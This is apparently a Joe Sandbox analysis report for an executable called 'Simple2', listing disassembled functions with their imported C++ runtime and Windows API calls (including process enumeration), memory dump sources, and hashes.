??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B16E9
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6876B16F3

Part of subcall function 00007FF6876B9310: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B935D
Part of subcall function 00007FF6876B9310: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6876B937D
Part of subcall function 00007FF6876B9310: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B938D
Part of subcall function 00007FF6876B9310: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876B93ED
Part of subcall function 00007FF6876B9310: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876B9416
Part of subcall function 00007FF6876B9310: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876B944D

Strings

~, xrefs: 00007FF6876B164F
_, xrefs: 00007FF6876B164A

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$?sputc@?$basic_streambuf@$??6?$basic_ostream@?good@ios_base@std@@V01@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@?flush@?$basic_ostream@_?setw@std@@D@std@@@1@_J@1@_Smanip@_U?$_U?$char_traits@_V12@V21@@V?$basic_streambuf@Vios_base@1@W@std@@@std@@isalnum
String ID: _$~
API String ID: 2365617078-3740536066
Opcode ID: a14253ab657007596ee1eb18ea39cbf631e03ff104c02efb61f706c9878d418d
Instruction ID: 6953cc7d720261e88fde2292080294ba1baaeb86460ae6dbdf11cd70a5a674d3
Opcode Fuzzy Hash: a14253ab657007596ee1eb18ea39cbf631e03ff104c02efb61f706c9878d418d
Instruction Fuzzy Hash: 2A518232A48A41D6EF14CF15E890269B770FF8AB88F544039EB4E97664EF3DE485D700

Function 00007FF6876B8560 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6876B17F7), ref: 00007FF6876B85A0
??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6876B85BF
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B85F1
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6876B860C
?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z.MSVCP140 ref: 00007FF6876B8632
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6876B864F
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6876B8676
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z.MSVCP140 ref: 00007FF6876B869D
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF6876B86C1

Part of subcall function 00007FF6876B9AA0: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF6876B9ACD
Part of subcall function 00007FF6876B9AA0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6876B9AE7
Part of subcall function 00007FF6876B9AA0: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF6876B9B19
Part of subcall function 00007FF6876B9AA0: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF6876B9B44
Part of subcall function 00007FF6876B9AA0: std::_Facet_Register.LIBCPMT ref: 00007FF6876B9B5D
Part of subcall function 00007FF6876B9AA0: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF6876B9B7C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B86D6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6876B86ED
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6876B872B

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$Init@?$basic_streambuf@$Lockit@std@@$??0?$basic_ios@??0?$basic_istream@??0?$basic_streambuf@??0_??1_?always_noconv@codecvt_base@std@@?getloc@?$basic_streambuf@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@1@_Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@H001@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@_U_iobuf@@V42@@V?$basic_streambuf@Vfacet@locale@2@Vlocale@2@W@std@@@std@@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 3818078705-0
Opcode ID: f80c16aa7f3e35dcf50a6edced1f1c553555d42dd7a706662d9725effb48244f
Instruction ID: e2873bf363024571cd8f29546738b66f523517e026b6f440d5d8385f87cf4bd3
Opcode Fuzzy Hash: f80c16aa7f3e35dcf50a6edced1f1c553555d42dd7a706662d9725effb48244f
Instruction Fuzzy Hash: 18510832A48B46C6EB15CF25E59026977A4FF8AB85F044039EA8D47B24DF3CE0A5D740

Function 00007FF6876B96F0 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B976A
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6876B978A
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B979A
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF6876B97E7
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF6876B9811
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140 ref: 00007FF6876B9836
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6876B987D
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6876B9884
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6876B9891

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: f76aa2856fdbe99886ac723c8ffec56e959f383987e6da2831f890b10fbbf1f1
Instruction ID: 3243505e74483d5ba7abc065fbe22c33bd441f95e3fb150f3fbe7e5c1e96e08a
Opcode Fuzzy Hash: f76aa2856fdbe99886ac723c8ffec56e959f383987e6da2831f890b10fbbf1f1
Instruction Fuzzy Hash: E2513D36648A41C1EF208F1AE590239A7A0FF96F95B15C535EE4E877A1CF3DE486D300

Function 00007FF6876B94E0 Relevance: 13.6, APIs: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9559
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9579
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9589
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B95D6
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B95FD
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B961E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9664
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B966B
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6876B1970), ref: 00007FF6876B9678

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: 4edaa17dd7ad51bee8b47bfb92d09c61649fc27c2f4a9316c88697547ac0acde
Instruction ID: 402f3e49252413ead9def058c920259af7a28c5e6cd8d10d15f5a4c0a4f1b0bc
Opcode Fuzzy Hash: 4edaa17dd7ad51bee8b47bfb92d09c61649fc27c2f4a9316c88697547ac0acde
Instruction Fuzzy Hash: 66513032689A41C1EF218F29E5D0238A7A0FF96F95B15C535EE5E877A1CF39E486D300

Function 00007FF6876BAD00 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAD6B
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAD8B
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAD9B
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BADE8
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAE16
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAE37
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAE7E
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAE85
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00007FF6876B1A49), ref: 00007FF6876BAE92

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@_$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@_U?$char_traits@V12@
String ID:
API String ID: 3397294066-0
Opcode ID: cb10e80f2af6a6ecea6bfc50fdf9e660d84334f5a54366d3bc9b5ef052e487fb
Instruction ID: ef6d6ac9bafe4e539ea73305a1a32eecd3aa22ac08d3abfcfadad1957f43a801
Opcode Fuzzy Hash: cb10e80f2af6a6ecea6bfc50fdf9e660d84334f5a54366d3bc9b5ef052e487fb
Instruction Fuzzy Hash: EC510F32648A41C1EF608F59E590239A7A1FF86F85B55843AEF4E87764CF3DE486E300

Function 00007FF6876B9310 Relevance: 13.6, APIs: 9, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B935D
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6876B937D
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876B938D
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876B93ED
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876B9416
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876B944D
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6876B9491
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6876B9498
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6876B94A5

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: ?sputc@?$basic_streambuf@D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 569342377-0
Opcode ID: 15a03189b274fb8324ea74e98fa5bbb580fa16b3cd8c430ff54d2bfccaf7f256
Instruction ID: dcc579e0498f73be6df608faf7d9db13c85652215aa0d57e5642b38f74eb5869
Opcode Fuzzy Hash: 15a03189b274fb8324ea74e98fa5bbb580fa16b3cd8c430ff54d2bfccaf7f256
Instruction Fuzzy Hash: D2514032649B81C6EF108F19D5D0238A7A0FF96B95B158536DE6E877A0CF38E49AD700

Function 00007FF6876B3C40 Relevance: 13.6, APIs: 9, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140(?,?,?), ref: 00007FF6876B3C8B

Part of subcall function 00007FF6876B6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B63CA
Part of subcall function 00007FF6876B6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6876B63E6
Part of subcall function 00007FF6876B6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6876B6418

K32EnumProcesses.KERNEL32(?,?,?), ref: 00007FF6876B3CA9
memset.VCRUNTIME140(?,?,?), ref: 00007FF6876B3D57
OpenProcess.KERNEL32(?,?,?), ref: 00007FF6876B3D66
K32EnumProcessModules.KERNEL32(?,?,?), ref: 00007FF6876B3D87
K32GetModuleBaseNameA.KERNEL32(?,?,?), ref: 00007FF6876B3DA6
CloseHandle.KERNELBASE(?,?,?), ref: 00007FF6876B3DCF
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?), ref: 00007FF6876B3E28
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?), ref: 00007FF6876B3E32

Part of subcall function 00007FF6876B9BB0: memcpy.VCRUNTIME140 ref: 00007FF6876B9BE8

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$EnumProcessmemset$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BaseCloseD@std@@@1@@HandleModuleModulesNameOpenProcessesV?$basic_streambuf@memcpy
String ID:
API String ID: 3444793848-0
Opcode ID: 001c237f97d5f8cac39dba6690658c1a24ce0538eeddbe328d7bd751e8db2459
Instruction ID: fcadda97dce69dba38c7c3905140e351e3c54d28c9e419fea15cdeb2a479c275
Opcode Fuzzy Hash: 001c237f97d5f8cac39dba6690658c1a24ce0538eeddbe328d7bd751e8db2459
Instruction Fuzzy Hash: E8514F32B58A86C6EF20CF21E8805E96761FF86B84F544039EA4D97B58DF3CE585DB00

Function 00007FF6876BB5EC Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6876BB615
__scrt_release_startup_lock.LIBCMT ref: 00007FF6876BB683
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BB6D1
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BB6D6
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BB6DE
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BB6E6
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BB708
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BB762

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: b36050c3393a8da228e922bd9e4049c9505ee04a9bc4197bf93d5a9783a52870
Instruction ID: 3e216c9892eb13be6dbc7e07af0e497365916d4d4c38fd332a91bff67ecdca68
Opcode Fuzzy Hash: b36050c3393a8da228e922bd9e4049c9505ee04a9bc4197bf93d5a9783a52870
Instruction Fuzzy Hash: 3B310B21A8C542C2EE14AB25A5523B92391BF97788F4C403DFA4DDB2D7DE6DB8C4E710

Function 00007FF6876BA360 Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876BA454
memcpy.VCRUNTIME140 ref: 00007FF6876BA462
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BA49B
memcpy.VCRUNTIME140 ref: 00007FF6876BA4A5
memcpy.VCRUNTIME140 ref: 00007FF6876BA4B3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BA4E8

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 59e7986ff7ea82e6e9f4663991bfe25bcf01b9bf419426c86748b00627e2fba1
Instruction ID: ce36e4837cd677c508414bcbf73d3141b7e867d107a1f4200d2a3aa6e14a7de1
Opcode Fuzzy Hash: 59e7986ff7ea82e6e9f4663991bfe25bcf01b9bf419426c86748b00627e2fba1
Instruction Fuzzy Hash: 2241F362B58642C1EE20DB12A50426A6751FF4ABD0F484639EE5D8BB86DE3CF0C5F300

Function 00007FF6876B1000 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF6876B1011

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF6876B1086
?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF6876B10AB
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6876B10BB
?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF6876B10CA
??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF6876B10DE

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: Locimp@locale@std@@$??0?$codecvt@_??4?$_Addfac@_Bid@locale@std@@D@std@@Init@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_V01@V123@V123@@Vfacet@23@_Yarn@malloc
String ID:
API String ID: 3292048638-0
Opcode ID: c5c58ce028b6ec0e5e802597466f4c5df5884475aab6afb233ffb8e2f821a7d5
Instruction ID: 3c4fda48877dfc7a2916d14ba20e31e9288c9d1961aea9b715fb30877010cf90
Opcode Fuzzy Hash: c5c58ce028b6ec0e5e802597466f4c5df5884475aab6afb233ffb8e2f821a7d5
Instruction Fuzzy Hash: 6341F936A99B42C1EE05CB11F8442797B64BF9AB85F154139EA8E87B21DF3CA0D9D340

Function 00007FF6876B7590 Relevance: 4.7, APIs: 3, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B7783

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 8e35efa224ce1d8c90e95bf8cb906f129a4b3d71bf354b9504549117d8dbe710
Instruction ID: 1e9c154b50743ef5e0a6704d716b009ae8e5fe695da07c32c1df8fd011ebf4c8
Opcode Fuzzy Hash: 8e35efa224ce1d8c90e95bf8cb906f129a4b3d71bf354b9504549117d8dbe710
Instruction Fuzzy Hash: C2518D32A08B45C5EF158F29D45022C37A1FB49FA8F584136EE5D933A9EF38E481E340

Function 00007FF6876B6920 Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

